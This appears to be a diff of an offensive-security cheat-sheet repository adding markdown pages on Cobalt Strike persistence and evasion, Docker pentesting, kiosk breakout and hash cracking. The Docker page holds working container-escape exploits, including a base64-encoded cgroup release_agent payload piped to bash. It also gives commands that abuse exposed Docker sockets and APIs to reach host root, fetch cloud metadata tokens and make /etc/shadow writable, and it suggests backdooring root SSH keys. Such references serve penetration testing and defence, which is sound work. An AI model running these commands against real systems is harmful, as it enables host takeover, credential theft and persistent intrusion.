* https://github.com/0xthirteen/MoveKit
|
||||
* https://github.com/fireeye/SharPersist
|
||||
```powershell
|
||||
# List persistences
|
||||
SharPersist -t schtaskbackdoor -m list
|
||||
SharPersist -t startupfolder -m list
|
||||
SharPersist -t schtask -m list
|
||||
|
||||
# Add a persistence
|
||||
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
||||
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
|
||||
|
||||
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
||||
SharPersist -t service -n "Some Service" -m remove
|
||||
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
||||
SharPersist -t schtask -n "Some Task" -m remove
|
||||
```
|
||||
|
||||
### Resource Kit
|
||||
|
||||
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
|
||||
|
||||
### Artifact Kit
|
||||
|
||||
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
|
||||
|
||||
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
|
||||
|
||||
- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
|
||||
- Install the dependencies : `sudo apt-get install mingw-w64`
|
||||
- Edit the Artifact code
|
||||
* Change pipename strings
|
||||
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
|
||||
* Change Import
|
||||
- Build the Artifact
|
||||
- Cobalt Strike -> Script Manager > Load .cna
|
||||
|
||||
### Mimikatz Kit
|
||||
|
||||
* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
|
||||
* Load the mimikatz.cna aggressor script
|
||||
* Use mimikatz functions as normal
|
||||
|
||||
### Sleep Mask Kit
|
||||
|
||||
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
|
||||
|
||||
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
|
||||
|
||||
### Thread Stack Spoofer
|
||||
|
||||
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
|
||||
|
||||
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
|
||||
|
||||
## Beacon Object Files
|
||||
|
||||
> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
|
||||
|
||||
Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
|
||||
|
||||
* Compile
|
||||
```ps1
|
||||
# To compile this with Visual Studio:
|
||||
cl.exe /c /GS- hello.c /Fohello.o
|
||||
|
||||
# To compile this with x86 MinGW:
|
||||
i686-w64-mingw32-gcc -c hello.c -o hello.o
|
||||
|
||||
# To compile this with x64 MinGW:
|
||||
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
|
||||
```
|
||||
* Execute: `inline-execute /path/to/hello.o`
|
||||
|
||||
## NTLM Relaying via Cobalt Strike
|
||||
|
||||
```powershell
|
||||
beacon> socks 1080
|
||||
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
|
||||
beacon> rportfwd_local 8445 <IP_KALI> 445
|
||||
beacon> upload C:\Tools\PortBender\WinDivert64.sys
|
||||
beacon> PortBender redirect 445 8445
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
|
||||
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
|
||||
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
|
||||
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
|
||||
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
|
||||
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
|
||||
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
|
||||
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
|
||||
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
|
||||
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
|
||||
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
|
||||
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
|
||||
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
|
||||
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
|
||||
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
|
||||
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
|
||||
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)
|
||||
219
Methodology and Resources/Container - Docker Pentest.md
Normal file
@@ -0,0 +1,219 @@
|
||||
# Docker Pentest
|
||||
|
||||
> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Mounted Docker Socket](#mounted-docker-socket)
|
||||
- [Open Docker API Port](#open-docker-api-port)
|
||||
- [Insecure Docker Registry](#insecure-docker-registry)
|
||||
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
|
||||
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
|
||||
- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file)
|
||||
- [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [Dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations
|
||||
```powershell
|
||||
dockscan unix:///var/run/docker.sock
|
||||
dockscan -r html -o myreport -v tcp://example.com:5422
|
||||
```
|
||||
* [DeepCe](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
|
||||
```powershell
|
||||
./deepce.sh
|
||||
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
|
||||
./deepce.sh --no-enumeration --exploit SOCK --shadow
|
||||
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
|
||||
```
|
||||
|
||||
## Mounted Docker Socket
|
||||
|
||||
Prerequisite:
|
||||
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
|
||||
|
||||
Usually found in `/var/run/docker.sock`, for example for Portainer.
|
||||
|
||||
```powershell
|
||||
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
|
||||
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
|
||||
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
|
||||
```
|
||||
|
||||
Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)
|
||||
|
||||
```powershell
|
||||
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true
|
||||
[+] Hunt dem Socks
|
||||
[+] Hunting Down UNIX Domain Sockets from: /var/run/
|
||||
[*] Valid Socket: /var/run/docker.sock
|
||||
[+] Attempting to autopwn
|
||||
[+] Hunting Docker Socks
|
||||
[+] Attempting to Autopwn: /var/run/docker.sock
|
||||
[*] Getting Docker client...
|
||||
[*] Successfully got Docker client...
|
||||
[+] Attempting to escape to host...
|
||||
[+] Attempting in TTY Mode
|
||||
chroot /host && clear
|
||||
echo 'You are now on the underlying host'
|
||||
chroot /host && clear
|
||||
echo 'You are now on the underlying host'
|
||||
/ # chroot /host && clear
|
||||
/ # echo 'You are now on the underlying host'
|
||||
You are now on the underlying host
|
||||
/ # id
|
||||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
|
||||
```
|
||||
|
||||
|
||||
## Open Docker API Port
|
||||
|
||||
Prerequisite:
|
||||
* Docker runned with `-H tcp://0.0.0.0:XXXX`
|
||||
|
||||
```powershell
|
||||
$ nmap -sCV 10.10.10.10 -p 2376
|
||||
2376/tcp open docker Docker 19.03.5
|
||||
| docker-version:
|
||||
| Version: 19.03.5
|
||||
| MinAPIVersion: 1.12
|
||||
```
|
||||
|
||||
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
|
||||
|
||||
```powershell
|
||||
$ export DOCKER_HOST=tcp://10.10.10.10:2376
|
||||
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
|
||||
or
|
||||
$ docker -H open.docker.socket:2375 ps
|
||||
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
|
||||
or
|
||||
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
|
||||
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
|
||||
```
|
||||
|
||||
From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
|
||||
|
||||
|
||||
## Insecure Docker Registry
|
||||
|
||||
Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
|
||||
|
||||
```powershell
|
||||
curl https://registry.example.com/v2/<image_name>/tags/list
|
||||
docker pull https://registry.example.com:443/<image_name>:<tag>
|
||||
|
||||
# connect to the endpoint and list image blobs
|
||||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
|
||||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
|
||||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
|
||||
# download blobs
|
||||
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
|
||||
# automated download
|
||||
https://github.com/NotSoSecure/docker_fetch/
|
||||
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
|
||||
```
|
||||
|
||||
Access a private registry and start a container with one of its image
|
||||
|
||||
```powershell
|
||||
docker login -u admin -p admin docker.registry.local
|
||||
docker pull docker.registry.local/wordpress-image
|
||||
docker run -it docker.registry.local/wordpress-image /bin/bash
|
||||
```
|
||||
|
||||
Access a private registry using OAuth Token from Google
|
||||
|
||||
```powershell
|
||||
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
|
||||
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
|
||||
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
|
||||
```
|
||||
|
||||
## Exploit privileged container abusing the Linux cgroup v1
|
||||
|
||||
Prerequisite (at least one):
|
||||
* `--privileged`
|
||||
* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
|
||||
|
||||
```powershell
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
|
||||
```
|
||||
|
||||
Exploit breakdown :
|
||||
|
||||
```powershell
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
|
||||
# In the container
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
|
||||
## Breaking out of Docker via runC
|
||||
|
||||
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
|
||||
|
||||
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
|
||||
|
||||
```powershell
|
||||
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
|
||||
$ docker run --rm cve-2019-5736:malicious_image_POC
|
||||
```
|
||||
|
||||
## Breaking out of containers using a device file
|
||||
|
||||
```powershell
|
||||
https://github.com/FSecureLABS/fdpasser
|
||||
In container, as root: ./fdpasser recv /moo /etc/shadow
|
||||
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
|
||||
Outside container: ls -la /etc/shadow
|
||||
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow
|
||||
```
|
||||
|
||||
|
||||
## Breaking out of Docker via kernel modules loading
|
||||
|
||||
> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.
|
||||
|
||||
Exploitation:
|
||||
* Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
|
||||
* Build with `make`
|
||||
* Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
|
||||
* `cd /root` in the new container
|
||||
* Insert the kernel module with `./escape`
|
||||
* Run `./execute`!
|
||||
|
||||
Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.
|
||||
|
||||
* `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html).
|
||||
* `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
|
||||
|
||||
The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.
|
||||
|
||||
Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).
|
||||
|
||||
The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
|
||||
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
|
||||
- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
|
||||
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
|
||||
- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)
|
||||
- [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping)
|
||||
149
Methodology and Resources/Escape Breakout.md
Normal file
@@ -0,0 +1,149 @@
|
||||
# Application Escape and Breakout
|
||||
|
||||
## Summary
|
||||
|
||||
* [Gaining a command shell](#gaining-a-command-shell)
|
||||
* [Sticky Keys](#sticky-keys)
|
||||
* [Dialog Boxes](#dialog-boxes)
|
||||
* [Creating new files](#creating-new-files)
|
||||
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance)
|
||||
* [Exploring Context Menus](#exploring-context-menus)
|
||||
* [Save as](#save-as)
|
||||
* [Input Boxes](#input-boxes)
|
||||
* [Bypass file restrictions](#bypass-file-restrictions)
|
||||
* [Internet Explorer](#internet-explorer)
|
||||
* [Shell URI Handlers](#shell-uri-handlers)
|
||||
* [References](#references)
|
||||
|
||||
## Gaining a command shell
|
||||
|
||||
* **Shortcut**
|
||||
* [Window] + [R] -> cmd
|
||||
* [CTRL] + [SHIFT] + [ESC] -> Task Manager
|
||||
* [CTRL] + [ALT] + [DELETE] -> Task Manager
|
||||
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
|
||||
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
|
||||
* **Hyperlink**: `file:///c:/Windows/System32/cmd.exe`
|
||||
* **Task Manager**: `File` > `New Task (Run...)` > `cmd`
|
||||
* **MSPAINT.exe**
|
||||
* Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels
|
||||
* Zoom in to make the following tasks easier
|
||||
* Using the colour picker, set pixels values to (from left to right):
|
||||
* 1st: R: 10, G: 0, B: 0
|
||||
* 2nd: R: 13, G: 10, B: 13
|
||||
* 3rd: R: 100, G: 109, B: 99
|
||||
* 4th: R: 120, G: 101, B: 46
|
||||
* 5th: R: 0, G: 0, B: 101
|
||||
* 6th: R: 0, G: 0, B: 0
|
||||
* Save it as 24-bit Bitmap (*.bmp;*.dib)
|
||||
* Change its extension from bmp to bat and run
|
||||
|
||||
|
||||
## Sticky Keys
|
||||
|
||||
* Spawn the sticky keys dialog
|
||||
* Via Shell URI : `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}`
|
||||
* Hit 5 times [SHIFT]
|
||||
* Visit "Ease of Access Center"
|
||||
* You land on "Setup Sticky Keys", move up a level on "Ease of Access Center"
|
||||
* Start the OSK (On-Screen-Keyboard)
|
||||
* You can now use the keyboard shortcut (CTRL+N)
|
||||
|
||||
## Dialog Boxes
|
||||
|
||||
### Creating new files
|
||||
|
||||
* Batch files – Right click > New > Text File > rename to .BAT (or .CMD) > edit > open
|
||||
* Shortcuts – Right click > New > Shortcut > `%WINDIR%\system32`
|
||||
|
||||
## Open a new Windows Explorer instance
|
||||
|
||||
* Right click any folder > select `Open in new window`
|
||||
|
||||
## Exploring Context Menus
|
||||
|
||||
* Right click any file/folder and explore context menus
|
||||
* Clicking `Properties`, especially on shortcuts, can yield further access via `Open File Location`
|
||||
|
||||
### Save as
|
||||
|
||||
* "Save as" / "Open as" option
|
||||
* "Print" feature – selecting "print to file" option (XPS/PDF/etc)
|
||||
* `\\127.0.0.1\c$\Windows\System32\` and execute `cmd.exe`
|
||||
|
||||
### Input Boxes
|
||||
|
||||
Many input boxes accept file paths; try all inputs with UNC paths such as `//attacker–pc/` or `//127.0.0.1/c$` or `C:\`
|
||||
|
||||
|
||||
### Bypass file restrictions
|
||||
|
||||
Enter *.* or *.exe or similar in `File name` box
|
||||
|
||||
## Internet Explorer
|
||||
|
||||
### Download and Run/Open
|
||||
|
||||
* Text files -> opened by Notepad
|
||||
|
||||
### Menus
|
||||
|
||||
* The address bar
|
||||
* Search menus
|
||||
* Help menus
|
||||
* Print menus
|
||||
* All other menus that provide dialog boxes
|
||||
|
||||
### Accessing filesystem
|
||||
|
||||
Enter these paths in the address bar:
|
||||
|
||||
* file://C:/windows
|
||||
* C:/windows/
|
||||
* %HOMEDRIVE%
|
||||
* \\127.0.0.1\c$\Windows\System32
|
||||
|
||||
### Unassociated Protocols
|
||||
|
||||
It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
|
||||
If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
|
||||
to trigger the *open with* prompt and select a program installed on the host.
|
||||
The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
|
||||
It is possible to send multiple parameters to the program by adding spaces in your uri.
|
||||
|
||||
Note: This technique required that the protocol used is not already associated with a program.
|
||||
|
||||
Example - Launching Firefox with a custom profile:
|
||||
|
||||
This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
|
||||
|
||||
0. Firefox need to be installed.
|
||||
1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
|
||||
2. Press enter to navigate to the uri.
|
||||
3. Select the firefox program.
|
||||
4. Firefox will be launched with the profile `Test`.
|
||||
|
||||
In this example, it's the equivalent of running the following command:
|
||||
```
|
||||
firefox irc://127.0.0.1 -P "Test"
|
||||
```
|
||||
|
||||
|
||||
## Shell URI Handlers
|
||||
|
||||
* shell:DocumentsLibrary
|
||||
* shell:Librariesshell:UserProfiles
|
||||
* shell:Personal
|
||||
* shell:SearchHomeFolder
|
||||
* shell:System shell:NetworkPlacesFolder
|
||||
* shell:SendTo
|
||||
* shell:Common Administrative Tools
|
||||
* shell:MyComputerFolder
|
||||
* shell:InternetFolder
|
||||
|
||||
## References
|
||||
|
||||
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
|
||||
* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
|
||||
* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)
|
||||
* [Breaking out of Windows Kiosks using only Microsoft Edge - Firat Acar - May 24, 2022](https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/)
|
||||
163
Methodology and Resources/Hash Cracking.md
Normal file
@@ -0,0 +1,163 @@
|
||||
# Hash Cracking
|
||||
|
||||
## Summary
|
||||
|
||||
* [Hashcat](https://hashcat.net/hashcat/)
|
||||
* [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
|
||||
* [Hashcat Install](#hashcat-install)
|
||||
* [Mask attack](#mask-attack)
|
||||
* [Dictionary](#dictionary)
|
||||
* [John](https://github.com/openwall/john)
|
||||
* [Usage](#john-usage)
|
||||
* [Rainbow tables](#rainbow-tables)
|
||||
* [Tips and Tricks](#tips-and-tricks)
|
||||
* [Online Cracking Resources](#online-cracking-resources)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Hashcat
|
||||
|
||||
### Hashcat Install
|
||||
|
||||
```powershell
|
||||
apt install cmake build-essential -y
|
||||
apt install checkinstall git -y
|
||||
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
|
||||
```
|
||||
|
||||
1. Extract the hash
|
||||
2. Get the hash format: https://hashcat.net/wiki/doku.php?id=example_hashes
|
||||
3. Establish a cracking stratgy based on hash format (ex: wordlist -> wordlist + rules -> mask -> combinator mode -> prince attack -> ...)
|
||||
4. Enjoy plains
|
||||
5. Review strategy
|
||||
6. Start over
|
||||
|
||||
### Dictionary
|
||||
|
||||
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
|
||||
|
||||
```powershell
|
||||
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file -r $my_rules
|
||||
```
|
||||
|
||||
* Wordlists
|
||||
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
|
||||
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
|
||||
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
|
||||
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
|
||||
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
|
||||
* [hashmob.net](https://hashmob.net/research/wordlists)
|
||||
* [clem9669/wordlists](https://github.com/clem9669/wordlists)
|
||||
|
||||
* Rules
|
||||
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
|
||||
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
|
||||
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
|
||||
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
|
||||
* [clem9669/hashcat-rule](https://github.com/clem9669/hashcat-rule)
|
||||
|
||||
### Mask attack
|
||||
|
||||
Mask attack is an attack mode which optimize brute-force.
|
||||
|
||||
> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
|
||||
|
||||
```powershell
|
||||
# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d
|
||||
